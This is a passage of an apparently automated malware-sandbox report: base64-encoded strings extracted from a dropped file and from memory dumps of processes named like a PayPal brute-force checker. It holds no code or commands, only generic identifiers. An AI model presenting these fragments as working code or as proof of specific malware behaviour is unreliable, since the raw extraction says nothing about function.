File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlTWVzc2FnZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlTWV0aG9k","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlTW9jaw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlTW9kZWw=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlT2JqZWN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlT2JzZXJ2ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlT3JkZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlUGFnZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlUGFyYW1ldGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlUGFyYW1z","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlUGFyc2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlUG9saWN5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlUG9vbA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlUHJlZGljYXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlUHJpbnRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlUHJvYw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlUHJvY2Vzcw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlUHJvZHVjZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlUHJvZHVjdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlUHJvcGVydHk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlUHJvdG90eXBl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlUHJveHk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlUHVibGlzaGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlUXVldWU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlUmVhZGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlUmVjb3Jk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlUmVnaXN0cnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlUmVwb25zZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlUmVwb3NpdG9yeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlUmVxdWVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlUmVzb2x2ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlUm9sZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlUnVsZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlUnVsZXM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlU2NoZW1h","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlU2VyaWFsaXplcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlU2VydmVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlU2V0dGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlU2luZ2xldG9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlU3BlY2lmaWNhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlU3RhdGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlU3RhdHVz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlU3RyYXRlZ3k=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlU3RydWN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlU3lzdGVt","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlVGFn","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlVGFzaw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlVGVtcGxhdGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlVGVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlVGVzdHM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlVGhyZWFk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlVG9rZW4=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlVG9rZW5pemVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlVHlwZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlVXRpbHM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlVmFs","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlVmFsdWU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlVmlzaXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlV2F0Y2hlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlV29ya2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbmdlV3JhcHBlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhbm5lbFZvbHVtZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2hhcmFjdGVyIHZhbHVlIGluIFx1Li4uLiBzZXF1ZW5jZSBpcyB0b28gbGFyZ2U=","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Y2hhcmFjdGVyIHZhbHVlIGluIFx4e30gb3IgXG97fSBpcyB0b28gbGFyZ2U=","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Y2hhckNvdW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2hhckluZGV4","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhckxvd2VyQnVmZlc=","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhck5leHRB","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhck5leHRX","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhclByZXZB","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhclVwcGVyQnVmZlc=","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q2hhclVwcGVyVw==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Y2hEb2cuZGF0YQ==","type":"Unicode","source":"Memory/File Scan","process":"WatchBull.exe","filename":"00101338-00001632.00000000.101649.00872000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q0hFQ0tfU1RBVEU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tBZGFwdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tBZHZpc29y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tBbGdv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tBbm5vdGF0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tBdHRy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tBdHRyaWJ1dGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tBdXRoZW50aWNhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tCYXNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tCcmlkZ2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tDYW5kaWRhdGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tDbGFzcw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tDbGllbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tDb2xsZWN0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tDb21wYXJhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tDb21wb3Nlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tDb25maWd1cmF0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tDb25uZWN0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tDb25zdW1lcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tDb250YWluZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tDb250ZXh0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tDcmVhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tDdXN0b21lcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tEYXRhYmFzZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tEZWNvcmF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tEZWZpbml0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tEaXNwYXRjaGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tEbGdCdXR0b24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tFcnJvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tFdmVudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tFeGNlcHRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tFeHBvcnRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tFeHByZXNzaW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWNhZGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWN0b3J5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlQWNjb3VudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlQWRhcHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlQW5ub3RhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlQXR0cg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlQXR0cmlidXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlQXV0aGVudGljYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlQnJvYWRjYXN0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlQ2FsbGJhY2s=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlQ2FuZGlkYXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlQ2xpZW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlQ29sbGVjdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlQ29tcGFyYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlQ29uZmlndXJhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlQ29ubmVjdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlQ29uc3VtZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlQ29udGFpbmVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlQ29udGV4dA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlQ3JlYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlQ3VzdG9tZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlRGF0YWJhc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlRGVmaW5pdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlRGVzY3JpcHRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlRGlj","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlRGlzcGF0Y2hlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlRXJyb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlRXZlbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlRXhwb3J0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlRXhwcmVzc2lvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlRmFjYWRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlRmFjdG9yeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlRmllbGQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlRmlsdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlR2V0dGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlR2xvYmFs","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlSGVscGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlSWRlbnRpZmllcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlSW1wb3J0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlSW5mbw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlSW5zdGFuY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlSW50ZXJjZXB0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlSW50ZXJwcmV0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlSW52b2NhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlSXNzdWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlSXRlcmF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlTWFw","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlTWFwcGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlTWVyY2hhbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlTWVzc2FnZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlTWV0aG9k","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlTW9jaw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlT3JkZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlUGFnZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlUGFyYW0=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlUGFyYW1ldGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlUGFyc2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlUG9saWN5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlUG9vbA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlUHJlZGljYXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlUHJpbnRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlUHJvY2Nlc29y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlUHJvY2Vzcw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2hlY2tGYWlsdXJlUHJvZHVjZXI=","type":"Ansi","source":"Dropped 